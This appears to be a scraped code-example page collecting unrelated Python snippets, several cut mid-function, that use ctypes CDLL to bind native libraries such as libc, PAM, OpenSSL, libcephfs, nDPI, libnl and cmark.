# We just need a large enough buffer for the result
# On 64-bit systems, this struct is 648 bytes, so 1024 bytes is enough
BUFFER_SIZE = 1024

CTL_KERN = 1
KERN_PROC = 14
KERN_PROC_PID = 1

libc = CDLL(util.find_library("c"))


def starttime_for_pid(pid):
    mib = (c_int * 4)(CTL_KERN, KERN_PROC, KERN_PROC_PID, pid)
    # allocate the buffer as an array of unsigned integers
    # We're fortunate in that kp_proc.p_starttime.tv_sec is
    # the very first value in this data structure
    proc_buffer = (c_uint * (BUFFER_SIZE / sizeof(c_uint)))()
    size = c_int(BUFFER_SIZE)
    result = libc.sysctl(mib, 4, byref(proc_buffer), byref(size), 0, 0)
    return proc_buffer[0]


def seconds_running(pid):
    start_time = starttime_for_pid(pid)
    if start_time == 0:
Ejemplo n.º 42
0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from ctypes import CDLL, CFUNCTYPE, c_char_p, c_int, c_size_t, c_void_p

libc = CDLL("/usr/lib/libc.dylib")


c_launch_data_t = c_void_p

# size_t launch_data_array_get_count(const launch_data_t)
launch_data_array_get_count = libc.launch_data_array_get_count
launch_data_array_get_count.restype = c_size_t
launch_data_array_get_count.argtypes = [c_launch_data_t]

# launch_data_t launch_data_array_get_index(const launch_data_t, size_t) __ld_getter;
launch_data_array_get_index = libc.launch_data_array_get_index
launch_data_array_get_index.restype = c_launch_data_t
launch_data_array_get_index.argtypes = [c_launch_data_t, c_size_t]

# size_t launch_data_dict_get_count(const launch_data_t)
Ejemplo n.º 43
0
security_path = find_library('Security')
if not security_path:
    raise ImportError('The library Security could not be found')

core_foundation_path = find_library('CoreFoundation')
if not core_foundation_path:
    raise ImportError('The library CoreFoundation could not be found')

version = platform.mac_ver()[0]
version_info = tuple(map(int, version.split('.')))
if version_info < (10, 8):
    raise OSError('Only OS X 10.8 and newer are supported, not %s.%s' %
                  (version_info[0], version_info[1]))

Security = CDLL(security_path, use_errno=True)
CoreFoundation = CDLL(core_foundation_path, use_errno=True)

Boolean = c_bool
CFIndex = c_long
CFStringEncoding = c_uint32
CFData = c_void_p
CFString = c_void_p
CFArray = c_void_p
CFMutableArray = c_void_p
CFDictionary = c_void_p
CFError = c_void_p
CFType = c_void_p
CFTypeID = c_ulong

CFTypeRef = POINTER(CFType)
Ejemplo n.º 44
0
    if intel_redist_path is None:
        msg = """
              To apply "spectral_wave_data" you need to install the latest version of:
              1) Redistributable Libraries for Intel® C++ and Fortran Compilers for Windows
                 This package can be downloaded for free from intel.com
              2) You also need Microsoft Visual C++ redistributables or
                 Visual Studio with C++ tools and libraries.
                 These tools can be downloaded from microsoft.com
              """
        raise AssertionError(msg)
    if sys.version_info >= (3, 8):
        intel_redist_path = os.path.join(intel_redist_path, 'redist',
                                         'intel64', 'compiler')
        os.add_dll_directory(HERE)
        os.add_dll_directory(intel_redist_path)
    swdlib = CDLL(str(os.path.join(HERE, 'SpectralWaveData.dll')))
elif platform.system() == 'Linux':
    swdlib = CDLL(str(os.path.join(HERE, 'libSpectralWaveData.so')))
else:
    raise AssertionError('Not supported platform: ' + platform.system())
"""
================================================================================================
BEGIN interface definition to the C-implementation
================================================================================================
NOTE: STRANGE ERRORS may occur if this interface does not comply with the original C source code.
"""


class vecswd(Structure):
    _fields_ = [("x", c_double), ("y", c_double), ("z", c_double)]
import platform
import sys

cur_dir = os.path.abspath(os.path.dirname(__file__))

if platform.uname()[0] == "Darwin":
    lib_crypto_name = 'libcrypto.1.1.dylib'
    lib_ssl_name = 'libssl.1.1.dylib'
    lib_c_name = "libc.dylib"
else:
    lib_crypto_name = 'libcrypto.so.1.1'
    lib_ssl_name = 'libssl.so.1.1'
    lib_c_name = "libc.so.6"

try:
    libcrypto = CDLL(lib_crypto_name)
    libssl    = CDLL(lib_ssl_name)
except OSError:
    # use local
    libcrypto = CDLL(os.path.join(cur_dir, lib_crypto_name))
    libssl    = CDLL(os.path.join(cur_dir, lib_ssl_name))
libc = CDLL(lib_c_name)


###################
# libssl C methods
###################

libssl.DTLSv1_method.argtypes = []
libssl.DTLSv1_method.restype = c_void_p
libssl.SSL_CTX_free.argtypes = [c_void_p]
Ejemplo n.º 46
0
def get_supported_instruction_sets():
    """List of supported instruction sets on current hardware, or None if query failed."""
    global _cache
    if _cache is not None:
        return _cache.copy()
    if 'PYSTENCILS_SIMD' in os.environ:
        return os.environ['PYSTENCILS_SIMD'].split(',')
    if platform.system() == 'Darwin' and platform.machine(
    ) == 'arm64':  # not supported by cpuinfo
        return ['neon']
    elif platform.system() == 'Linux' and platform.machine().startswith(
            'riscv'):  # not supported by cpuinfo
        libc = CDLL('libc.so.6')
        hwcap = libc.getauxval(16)  # AT_HWCAP
        hwcap_isa_v = 1 << (ord('V') - ord('A'))  # COMPAT_HWCAP_ISA_V
        return ['rvv'] if hwcap & hwcap_isa_v else []
    elif platform.machine().startswith(
            'ppc64'):  # no flags reported by cpuinfo
        import subprocess
        import tempfile
        from pystencils.cpu.cpujit import get_compiler_config
        f = tempfile.NamedTemporaryFile(suffix='.cpp')
        command = [
            get_compiler_config()['command'], '-mcpu=native', '-dM', '-E',
            f.name
        ]
        macros = subprocess.check_output(command, input='', text=True)
        if '#define __VSX__' in macros and '#define __ALTIVEC__' in macros:
            _cache = ['vsx']
        else:
            _cache = []
        return _cache.copy()
    try:
        from cpuinfo import get_cpu_info
    except ImportError:
        return None

    result = []
    required_sse_flags = {'sse', 'sse2', 'ssse3', 'sse4_1', 'sse4_2'}
    required_avx_flags = {'avx', 'avx2'}
    required_avx512_flags = {'avx512f'}
    required_neon_flags = {'neon'}
    required_sve_flags = {'sve'}
    flags = set(get_cpu_info()['flags'])
    if flags.issuperset(required_sse_flags):
        result.append("sse")
    if flags.issuperset(required_avx_flags):
        result.append("avx")
    if flags.issuperset(required_avx512_flags):
        result.append("avx512")
    if flags.issuperset(required_neon_flags):
        result.append("neon")
    if flags.issuperset(required_sve_flags):
        if platform.system() == 'Linux':
            libc = CDLL('libc.so.6')
            native_length = 8 * libc.prctl(51, 0, 0, 0, 0)  # PR_SVE_GET_VL
            if native_length < 0:
                raise OSError("SVE length query failed")
            pwr2_length = int(2**math.floor(math.log2(native_length)))
            if pwr2_length % 256 == 0:
                result.append(f"sve{pwr2_length//2}")
            if native_length != pwr2_length:
                result.append(f"sve{pwr2_length}")
            result.append(f"sve{native_length}")
        result.append("sve")
    return result
Ejemplo n.º 47
0
## By jgarcke
## From http://projects.scipy.org/numpy/ticket/990

import numpy as np
import ctypes
from ctypes import CDLL, POINTER, c_int, byref, c_char, c_double
from scipy.io import loadmat

from numpy.core import array, asarray, zeros, empty, transpose, \
        intc, single, double, csingle, cdouble, inexact, complexfloating, \
        newaxis, ravel, all, Inf, dot, add, multiply, identity, sqrt, \
        maximum, flatnonzero, diagonal, arange, fastCopyAndTranspose, sum, \
        isfinite, size

lib = CDLL('/usr/lib64/liblapack.so')


def _makearray(a):
    new = asarray(a)
    wrap = getattr(a, "__array_wrap__", new.__array_wrap__)
    return new, wrap


def isComplexType(t):
    return issubclass(t, complexfloating)


_real_types_map = {
    single: single,
    double: double,
    csingle: single,
Ejemplo n.º 48
0
SILLY = 5
addLevelName(SILLY, 'SILLY')
LOGGER = getLogger('wotw-macro')
CONSOLE_HANDLER = StreamHandler(stream=stderr)
CONSOLE_FORMATTER = Formatter(
    '[%(asctime)s][%(name)s][%(levelname)s] %(message)s')
CONSOLE_HANDLER.setFormatter(CONSOLE_FORMATTER)
LOGGER.addHandler(CONSOLE_HANDLER)
LOGGER.silly = (lambda message, *args, **kwargs: LOGGER.log(
    SILLY, message, *args, **kwargs))
LOGGER.setLevel(INFO)

# from pyglet.libs.x11 import xlib

xlib = CDLL('libX11.so.6')


class Display(Structure):
    # https://github.com/mirror/libX11/blob/libX11-1.6.5/include/X11/Xlib.h#L484
    # A Display should be treated as opaque by application code
    _fields_ = [('_opaque_struct', c_int)]


Window = c_ulong
Coordinate = c_int

# https://tronche.com/gui/x/xlib/window-information/XGetWindowAttributes.html
# int map_state;          /* IsUnmapped, IsUnviewable, IsViewable */
IsUnmapped = 0
IsUnviewable = 1
Ejemplo n.º 49
0
class Zybo(Endpoint):
    def __init__(self, parent: Node, name: str, input: str, output: str):
        super().__init__(parent, name)

        if not settings.SIMULATE_DMA:
            # https://docs.python.org/3/library/ctypes.html
            lib_name = "/home/ubuntu/urov/raspi/snr/zynq/pwm/so/libpwmuio.so"
            cdll.LoadLibrary(lib_name)
            self.pwm_lib = CDLL(lib_name)

            self.pwm_lib.initDemo()
        else:
            self.dbg("dma_verbose",
                     "Simulating DMA only. C library not loaded.")

        self.input = input
        self.output = output

    def get_new_tasks(self) -> SomeTasks:
        # TODO: Match serial task generation
        return None

    def task_handler(self, t: Task) -> SomeTasks:
        sched_list = []
        if t.task_type == "serial_com":
            self.dbg("serial_verbose", "Executing serial com task: {}",
                     [t.val_list])
            cmd = t.val_list[0]
            reg = t.val_list[1]
            if len(t.val_list) > 2:
                val = t.val_list[2]
            else:
                val = 0

            result = self.dma_write(cmd, reg, val)

            # result = self.send_receive(t.val_list[0],
            #                            t.val_list[1::])
            if result is None:
                self.dbg("robot",
                         "Received no data in response from serial message")
            elif isinstance(result, Task):
                sched_list.append(result)
            elif isinstance(result, list):
                for new_task in list(result):
                    sched_list.append(new_task)

        return sched_list

    def dma_write(self, cmd: str, reg: int, val: int):
        self.dbg("dma_verbose", "Writing DMA: cmd: {}, reg: {}, val: {}",
                 [cmd, reg, val])

        if not settings.SIMULATE_DMA:
            self.pwm_lib.runDemo()

        # self.dbg("dma_verbose", "cmd returned: {}", [status])

    def terminate(self):
        if not settings.SIMULATE_DMA:
            # Deallocate C objects
            self.dbg("dma_verbose", "Freeing C objects...")
            self.pwm_lib.exitHandler()
            self.dbg("dma_verbose", "Freed C objects")
        else:
            self.dbg("dma_verbose", "Simulated c objects freed")
Ejemplo n.º 50
0
# -*- coding: utf8 -*-
from __future__ import (absolute_import, division, print_function,
                        unicode_literals)

import numpy as np
from ctypes import CDLL, c_int, c_double, c_void_p
from numpy.ctypeslib import ndpointer
try:
    from .lib_names import get_lib_path
except (ImportError, ValueError):
    from lib_names import get_lib_path

lib_rec_cc = CDLL(get_lib_path('lib_rec_cc'))
lib_rec_cc._Gaussian1D.argtypes = [
    ndpointer(dtype=np.float64),  # signal
    c_int,  # npts
    c_double  # sigma
]
lib_rec_cc._Gaussian1D.restype = c_void_p


def recursive_gauss_filter(signal, sigma):
    filt_signal = np.array(signal, dtype=np.float64)
    lib_rec_cc._Gaussian1D(filt_signal, filt_signal.size, sigma)
    return filt_signal


if __name__ == '__main__':
    import matplotlib.pyplot as plt
    signal = np.zeros(1001)
    signal[500] = 1
Ejemplo n.º 51
0
"""
    This source code is part of nDPI python bindings
    original source code is available here: https://github.com/ntop/nDPI/tree/dev/python
    We keep it as part of nfstream in order to be independent as we plan to implement an abstration layer in case
    we support several deep packet inspection engines.
"""

from ctypes import CDLL, Structure, c_uint16, c_int, c_ulong, c_uint32, CFUNCTYPE, c_void_p, POINTER, c_char_p, c_uint8
from ctypes import c_char, c_uint, c_int16, c_longlong, c_size_t, Union, c_ubyte, c_uint64, c_int32, c_ushort
from os.path import abspath, dirname

ndpi = CDLL(dirname(abspath(__file__)) + '/ndpi_wrap.so')


class ndpi_detection_module_struct(Structure):
    pass


class ndpi_flow_struct(Structure):
    pass


class ndpi_protocol(Structure):
    _fields_ = [("master_protocol", c_uint16), ("app_protocol", c_uint16),
                ("category", c_int)]


class timeval(Structure):
    _fields_ = [("tv_sec", c_ulong), ("tv_usec", c_ulong)]

Ejemplo n.º 52
0
                      POINTER(POINTER(PamResponse)), c_void_p)


class PamConv(Structure):
    """wrapper class for pam_conv structure"""
    _fields_ = [("conv", conv_func), ("appdata_ptr", c_void_p)]


# Various constants
PAM_PROMPT_ECHO_OFF = 1
PAM_PROMPT_ECHO_ON = 2
PAM_ERROR_MSG = 3
PAM_TEXT_INFO = 4
PAM_REINITIALIZE_CRED = 8

libc = CDLL(find_library("c"))
libpam = CDLL(find_library("pam"))

calloc = libc.calloc
calloc.restype = c_void_p
calloc.argtypes = [c_size_t, c_size_t]

# bug #6 (@NIPE-SYSTEMS), some libpam versions don't include this function
if hasattr(libpam, 'pam_end'):
    pam_end = libpam.pam_end
    pam_end.restype = c_int
    pam_end.argtypes = [PamHandle, c_int]

pam_start = libpam.pam_start
pam_start.restype = c_int
pam_start.argtypes = [c_char_p, c_char_p, POINTER(PamConv), POINTER(PamHandle)]
Ejemplo n.º 53
0
            return str(x).encode(charset, errors)
        raise TypeError('expected bytes or str, not ' + type(x).__name__)

    def to_native(x, charset=sys.getdefaultencoding(), errors='strict'):
        if x is None or isinstance(x, str):
            return x
        return x.decode(charset, errors)

    iterkeys = lambda d: iter(d.keys())
    itervalues = lambda d: iter(d.values())
    iteritems = lambda d: iter(d.items())
    from urllib.parse import urlparse

DATABASES = {}

_libc = CDLL(find_library('c'))
_libc.strtod.restype = c_double
_libc.strtod.argtypes = [c_char_p, POINTER(c_char_p)]
_strtod = _libc.strtod


def timedelta_total_seconds(delta):
    return delta.days * 86400 + delta.seconds + delta.microseconds / 1E6


class _StrKeyDict(MutableMapping):
    def __init__(self, *args, **kwargs):
        self._dict = dict(*args, **kwargs)
        self._ex_keys = {}

    def __getitem__(self, key):
Ejemplo n.º 54
0
if sys.version_info >= (3,):
    unicode = str
    raw_input = input
    def _bytes_to_str(s, encoding='utf8'):
        return s.decode(encoding)
else:
    def _bytes_to_str(s, encoding='utf8'):
        return s

def _cast_bytes(s, encoding='utf8'):
    if isinstance(s, unicode):
        return s.encode(encoding)
    return s


LIBPAM = CDLL(find_library("pam"))
LIBC = CDLL(find_library("c"))

CALLOC = LIBC.calloc
CALLOC.restype = c_void_p
CALLOC.argtypes = [c_uint, c_uint]

STRDUP = LIBC.strdup
STRDUP.argstypes = [c_char_p]
STRDUP.restype = POINTER(c_char) # NOT c_char_p !!!!

# Various constants
PAM_PROMPT_ECHO_OFF = 1
PAM_PROMPT_ECHO_ON = 2
PAM_ERROR_MSG = 3
PAM_TEXT_INFO = 4
Ejemplo n.º 55
0
class LibCephFS(object):
    """libcephfs python wrapper"""
    def require_state(self, *args):
        for a in args:
            if self.state == a:
                return
        raise LibCephFSStateError("You cannot perform that operation on a "
                                  "CephFS object in state %s." % (self.state))

    def __init__(self, conf=None, conffile=None):
        libcephfs_path = find_library('cephfs')
        if not libcephfs_path:
            raise EnvironmentError("Unable to find libcephfs")
        self.libcephfs = CDLL(libcephfs_path)
        self.cluster = c_void_p()

        if conffile is not None and not isinstance(conffile, str):
            raise TypeError('conffile must be a string or None')
        ret = self.libcephfs.ceph_create(byref(self.cluster), c_char_p(0))
        if ret != 0:
            raise Error("libcephfs_initialize failed with error code: %d" %
                        ret)
        self.state = "configuring"
        if conffile is not None:
            # read the default conf file when '' is given
            if conffile == '':
                conffile = None
            self.conf_read_file(conffile)
        if conf is not None:
            for key, value in conf.iteritems():
                self.conf_set(key, value)

    def conf_read_file(self, conffile=None):
        if conffile is not None and not isinstance(conffile, str):
            raise TypeError('conffile param must be a string')
        ret = self.libcephfs.ceph_conf_read_file(self.cluster,
                                                 c_char_p(conffile))
        if ret != 0:
            raise make_ex(ret, "error calling conf_read_file")

    def shutdown(self):
        """
        Unmount and destroy the ceph mount handle. 
        """
        if self.state != "shutdown":
            self.libcephfs.ceph_shutdown(self.cluster)
            self.state = "shutdown"

    def __enter__(self):
        self.mount()
        return self

    def __exit__(self, type_, value, traceback):
        self.shutdown()
        return False

    def __del__(self):
        self.shutdown()

    def version(self):
        """
        Get the version number of the ``libcephfs`` C library.

        :returns: a tuple of ``(major, minor, extra)`` components of the
                  libcephfs version
        """
        major = c_int(0)
        minor = c_int(0)
        extra = c_int(0)
        self.libcephfs.ceph_version(byref(major), byref(minor), byref(extra))
        return (major.value, minor.value, extra.value)

    def conf_get(self, option):
        self.require_state("configuring", "connected")
        if not isinstance(option, str):
            raise TypeError('option must be a string')
        length = 20
        while True:
            ret_buf = create_string_buffer(length)
            ret = self.libcephfs.ceph_conf_get(self.cluster, option, ret_buf,
                                               c_size_t(length))
            if ret == 0:
                return ret_buf.value
            elif ret == -errno.ENAMETOOLONG:
                length = length * 2
            elif ret == -errno.ENOENT:
                return None
            else:
                raise make_ex(ret, "error calling conf_get")

    def conf_set(self, option, val):
        self.require_state("configuring", "connected")
        if not isinstance(option, str):
            raise TypeError('option must be a string')
        if not isinstance(val, str):
            raise TypeError('val must be a string')
        ret = self.libcephfs.ceph_conf_set(self.cluster, c_char_p(option),
                                           c_char_p(val))
        if ret != 0:
            raise make_ex(ret, "error calling conf_set")

    def mount(self):
        self.require_state("configuring")
        ret = self.libcephfs.ceph_mount(self.cluster, "/")
        if ret != 0:
            raise make_ex(ret, "error calling ceph_mount")
        self.state = "mounted"

    def statfs(self, path):
        self.require_state("mounted")
        statbuf = cephfs_statvfs()
        ret = self.libcephfs.ceph_statfs(self.cluster, c_char_p(path),
                                         byref(statbuf))
        if ret < 0:
            raise make_ex(ret, "statfs failed: %s" % path)
        return {
            'f_bsize': statbuf.f_bsize,
            'f_frsize': statbuf.f_frsize,
            'f_blocks': statbuf.f_blocks,
            'f_bfree': statbuf.f_bfree,
            'f_bavail': statbuf.f_bavail,
            'f_files': statbuf.f_files,
            'f_ffree': statbuf.f_ffree,
            'f_favail': statbuf.f_favail,
            'f_fsid': statbuf.f_fsid,
            'f_flag': statbuf.f_flag,
            'f_namemax': statbuf.f_namemax
        }

    def sync_fs(self):
        self.require_state("mounted")
        ret = self.libcephfs.ceph_sync_fs(self.cluster)
        if ret < 0:
            raise make_ex(ret, "sync_fs failed")

    def getcwd(self):
        self.require_state("mounted")
        return self.libcephfs.ceph_getcwd(self.cluster)

    def chdir(self, path):
        self.require_state("mounted")
        ret = self.libcephfs.ceph_chdir(self.cluster, c_char_p(path))
        if ret < 0:
            raise make_ex(ret, "chdir failed")

    def mkdir(self, path, mode):
        self.require_state("mounted")
        if not isinstance(path, str):
            raise TypeError('path must be a string')
        ret = self.libcephfs.ceph_mkdir(self.cluster, c_char_p(path),
                                        c_int(mode))
        if ret < 0:
            raise make_ex(ret, "error in mkdir '%s'" % path)

    def mkdirs(self, path, mode):
        self.require_state("mounted")
        if not isinstance(path, str):
            raise TypeError('path must be a string')
        if not isinstance(mode, int):
            raise TypeError('mode must be an int')
        ret = self.libcephfs.ceph_mkdir(self.cluster, c_char_p(path),
                                        c_int(mode))
        if ret < 0:
            raise make_ex(ret, "error in mkdirs '%s'" % path)

    def open(self, path, flags, mode):
        self.require_state("mounted")
        if not isinstance(path, str):
            raise TypeError('path must be a string')
        if not isinstance(mode, int):
            raise TypeError('mode must be an int')
        if not isinstance(flags, int):
            raise TypeError('flags must be an int')
        ret = self.libcephfs.ceph_open(self.cluster, c_char_p(path),
                                       c_int(flags), c_int(mode))
        if ret < 0:
            raise make_ex(ret, "error in open '%s'" % path)
        return ret

    def close(self, fd):
        self.require_state("mounted")
        ret = self.libcephfs.ceph_close(self.cluster, c_int(fd))
        if ret < 0:
            raise make_ex(ret, "error in close")

    def setxattr(self, path, name, value, flags):
        if not isinstance(path, str):
            raise TypeError('path must be a string')
        if not isinstance(name, str):
            raise TypeError('name must be a string')
        if not isinstance(value, str):
            raise TypeError('value must be a string')
        self.require_state("mounted")
        ret = self.libcephfs.ceph_setxattr(self.cluster, c_char_p(path),
                                           c_char_p(name), c_void_p(value),
                                           c_size_t(len(value)), c_int(flags))
        if ret < 0:
            raise make_ex(ret, "error in setxattr")

    def stat(self, path):
        self.require_state("mounted")
        if not isinstance(path, str):
            raise TypeError('path must be a string')
        statbuf = cephfs_stat()
        ret = self.libcephfs.ceph_stat(self.cluster, c_char_p(path),
                                       byref(statbuf))
        if ret < 0:
            raise make_ex(ret, "error in stat: %s" % path)
        return {
            'st_dev': statbuf.st_dev,
            'st_ino': statbuf.st_ino,
            'st_mode': statbuf.st_mode,
            'st_nlink': statbuf.st_nlink,
            'st_uid': statbuf.st_uid,
            'st_gid': statbuf.st_gid,
            'st_rdev': statbuf.st_rdev,
            'st_size': statbuf.st_size,
            'st_blksize': statbuf.st_blksize,
            'st_blocks': statbuf.st_blocks,
            'st_atime': statbuf.st_atime,
            'st_mtime': statbuf.st_mtime,
            'st_ctime': statbuf.st_ctime
        }

    def unlink(self, path):
        self.require_state("mounted")
        ret = self.libcephfs.ceph_unlink(self.cluster, c_char_p(path))
        if ret < 0:
            raise make_ex(ret, "error in unlink: %s" % path)
Ejemplo n.º 56
0
#!/usr/bin/env python3

# Example for using the shared library from python

from ctypes import CDLL, c_char_p, c_long
import sys
import platform

sysname = platform.system()

if sysname == 'Darwin':
    cmark = CDLL("build/src/libcmark.dylib")
else:
    cmark = CDLL("build/src/libcmark.so")

markdown = cmark.cmark_markdown_to_html
markdown.restype = c_char_p
markdown.argtypes = [c_char_p, c_long]

def md2html(text):
    textbytes = text.encode('utf-8')
    textlen = len(textbytes)
    return markdown(textbytes, textlen).decode('utf-8')

sys.stdout.write(md2html(sys.stdin.read()))
Ejemplo n.º 57
0
'''
Python wrapper module for Dragoncrypt C library
'''

from ctypes import CDLL, c_int, c_char_p, c_ulonglong, byref
from secrets import token_bytes
import time, os, os.path


class ValidityException(Exception):
    pass


if os.name == 'nt':
    drgc = CDLL("dragoncrypt.dll")
else:
    drgc = CDLL(os.path.join(os.getcwd(), 'dragoncrypt.so'))
KEY_SIZE = c_int.in_dll(drgc, 'dragoncryptKeySize').value


def encrypt(input: bytes, key: int, iv_size: int) -> bytes:
    '''
	Encrypts the byte array `input` with the provided `key`, prepending the message with an initialization vector with `iv_size` random bytes.
	`iv_size` must be the same when decrypting, to read back the data properly.
	'''
    size = len(input)
    input_p = c_char_p(input)

    iv = token_bytes(iv_size)
    iv_ptr = c_char_p(iv)
Ejemplo n.º 58
0
    pub extern "C" fn make_point(x: int, y: int) -> Box<Point> {
        box Point { x: x, y: y }
    }


    #[no_mangle]
    pub extern "C" fn get_distance(p1: &Point, p2: &Point) -> f64 {
        Line { p1: *p1, p2: *p2 }.length()
    }

"""
from ctypes import CDLL, Structure, c_int, c_void_p
from ctypes import c_double, CFUNCTYPE

RUST_SO_PATH = "/home/aravinda/sandbox/exp/rust/libpoints.so"


class Point(Structure):
    _fields_ = [("x", c_int), ("y", c_int)]


api = CDLL(RUST_SO_PATH)

make_point = CFUNCTYPE(c_void_p, c_int, c_int)(('make_point', api))
get_distance = CFUNCTYPE(c_double, c_void_p, c_void_p)(('get_distance', api))

p1 = make_point(10, 10)
p2 = make_point(20, 20)

print get_distance(p1, p2)
Ejemplo n.º 59
0
class HexFile:
    INTEGER_STRING_SIZE = 8
    FLOAT_STRING_SIZE = 12

    def __init__(self, filename):
        try:
            self.hex = IntelHex(filename)
        except Exception as exc:
            exc = InvalidHexFileException(filename=filename,
                                          detailed_text=str(exc))
            logging.error(exc)
            raise exc

        self.crc_library_so = pathlib.Path(pathlib.Path().absolute(),
                                           'crc_library.dll')
        if not self.crc_library_so.exists():
            exc = LibraryNotFoundException(library_file=self.crc_library_so)
            logging.error(exc)
            raise exc

        self.crc_library = CDLL(str(self.crc_library_so))

        self.checksum = self.get_checksum()
        original = self.load_checksum()
        if self.checksum != original:
            exc = InvalidChecksumException(original_checksum=original,
                                           calculated_checksum=self.checksum)
            logging.error(exc)
            raise exc

    def load_number(self, record_type, start_addr, end_addr):
        if record_type is int:
            return self.load_integer(start_addr, end_addr)
        elif record_type is float:
            return self.load_float(start_addr, end_addr)
        else:
            exc = UnsupportedRecordTypeException(record_type=record_type)
            logging.error(exc)
            raise exc

    def load_integer(self, start_addr, end_addr):
        num = int(self._load_range(start_addr, end_addr))
        logging.debug(
            f"Loaded integer from {hex(start_addr)}-{hex(end_addr)}: {num}")
        return num

    def load_float(self, start_addr, end_addr):
        raw = self._load_range(start_addr, end_addr)
        num = str(raw[:-2]) + "." + str(raw[-2:])
        num = float(num)
        logging.debug(
            f"Loaded float from {hex(start_addr)}-{hex(end_addr)}: {num}")
        return num

    def _load_range(self, start_addr, end_addr):
        data = []
        for b in self.hex[start_addr:end_addr + 1].todict().values():
            data += hex(b).replace("0x", "").rjust(2, '0')
        result = "".join(data).upper()
        logging.debug(
            f"Loaded data from {hex(start_addr)}-{hex(end_addr)}: {result}")
        return result

    def set_number(self, record_type, start_addr, end_addr, value_to_set):
        if record_type is int:
            return self.set_integer(start_addr, end_addr, value_to_set)
        elif record_type is float:
            return self.set_float(start_addr, end_addr, value_to_set)
        else:
            exc = UnsupportedRecordTypeException(record_type=record_type)
            logging.error(exc)
            raise exc

    def set_integer(self, start_addr, end_addr, value_to_set):
        string_value = str(value_to_set).rjust(self.INTEGER_STRING_SIZE, '0')

        if len(string_value) > self.INTEGER_STRING_SIZE:
            exc = OutOfMemoryException(max_size=self.INTEGER_STRING_SIZE / 2,
                                       data_type='int',
                                       start_addr=hex(start_addr),
                                       end_addr=hex(end_addr))
            logging.error(exc)
            raise exc

        logging.debug(
            f"Write integer {string_value} to {hex(start_addr)}-{hex(end_addr)}"
        )
        self._set_range(start_addr, string_value)

    def set_float(self, start_addr, end_addr, value_to_set):
        integer = int(value_to_set)
        decimal = round(value_to_set - integer, 2)
        string_value = str(integer).rjust(10, '0') + str(decimal)[2:].ljust(
            2, '0')

        if len(string_value) > self.FLOAT_STRING_SIZE:
            exc = OutOfMemoryException(max_size=self.FLOAT_STRING_SIZE / 2,
                                       data_type='float',
                                       start_addr=hex(start_addr),
                                       end_addr=hex(end_addr))
            logging.error(exc)
            raise exc

        logging.debug(
            f"Write float {string_value} to {hex(start_addr)}-{hex(end_addr)}")
        self._set_range(start_addr, string_value)

    def _set_range(self, start_addr, value_to_set):
        if len(value_to_set) % 2 != 0:
            exc = OddDataBlockException(block_size=len(value_to_set),
                                        value=value_to_set)
            logging.error(exc)
            raise exc

        logging.debug(
            f"Write data {value_to_set} starts with {hex(start_addr)}")
        curr_addr = start_addr
        for frame in ["".join(i) for i in grouper(value_to_set, 2)]:
            frame_as_int = int(bytes(frame.encode()), 16)
            self.hex[curr_addr] = frame_as_int
            curr_addr += 1

    def load_checksum(self):
        checksum = self._load_range(0x180, 0x181)
        checksum = checksum[2:] + checksum[:2]
        checksum = "0x" + checksum.upper()
        logging.info(f"Checksum loaded from hex data: {checksum}")
        return checksum

    def get_checksum(self):
        checksum_data = self.hex[0x000:0x17F + 1].todict().values()
        c_array = (c_ubyte * len(checksum_data))(*checksum_data)
        checksum = self.crc_library.crcbitbybit(c_array,
                                                c_ulong(len(checksum_data)))
        checksum = "0x" + hex(checksum).replace("0x", "").upper()
        logging.info(f"Checksum calculated: {checksum}")
        return checksum

    def write_dump_to_file(self, filename):
        checksum = self.get_checksum()
        checksum = checksum.replace("0x", "")
        checksum = checksum[2:] + checksum[:2]
        self._set_range(0x180, checksum)
        logging.info(f"Write checksum: {checksum}")

        for addr, value in self.hex[0x0000:0x0181 + 1].todict().items():
            new_addr = 0x2D6 + addr
            logging.debug(
                f"Duplicate data from {hex(addr)} to {hex(new_addr)}")
            self.hex[new_addr] = value

        self.hex.write_hex_file(filename)
Ejemplo n.º 60
0
# cast. Without it ctypes fails when not running on the main thread.
_int_proto = CFUNCTYPE(c_int, c_void_p)
_int_char_proto = CFUNCTYPE(c_char_p, c_int, c_char_p, c_size_t)
_char_proto = CFUNCTYPE(c_char_p, c_void_p)
_void_proto = CFUNCTYPE(c_void_p, c_void_p)
_none_proto = CFUNCTYPE(None, c_void_p)


def _ethtool_uses_libnl3():
    """Returns whether ethtool uses libnl3."""
    return (StrictVersion('0.9') <= StrictVersion(
        ethtool.version.split()[1].lstrip('v')))


if _ethtool_uses_libnl3():
    LIBNL = CDLL('libnl-3.so.200', use_errno=True)
    LIBNL_ROUTE = CDLL('libnl-route-3.so.200', use_errno=True)

    _nl_socket_alloc = CFUNCTYPE(c_void_p)(('nl_socket_alloc', LIBNL))
    _nl_socket_free = _none_proto(('nl_socket_free', LIBNL))

else:  # libnl-1
    # Change from handle to socket as it is now more accurately called in
    # libnl-3
    LIBNL_ROUTE = LIBNL = CDLL('libnl.so.1', use_errno=True)

    _nl_socket_alloc = CFUNCTYPE(c_void_p)(('nl_handle_alloc', LIBNL))
    _nl_socket_free = _none_proto(('nl_handle_destroy', LIBNL))

    def _alloc_cache(allocator, sock):
        cache = allocator(sock)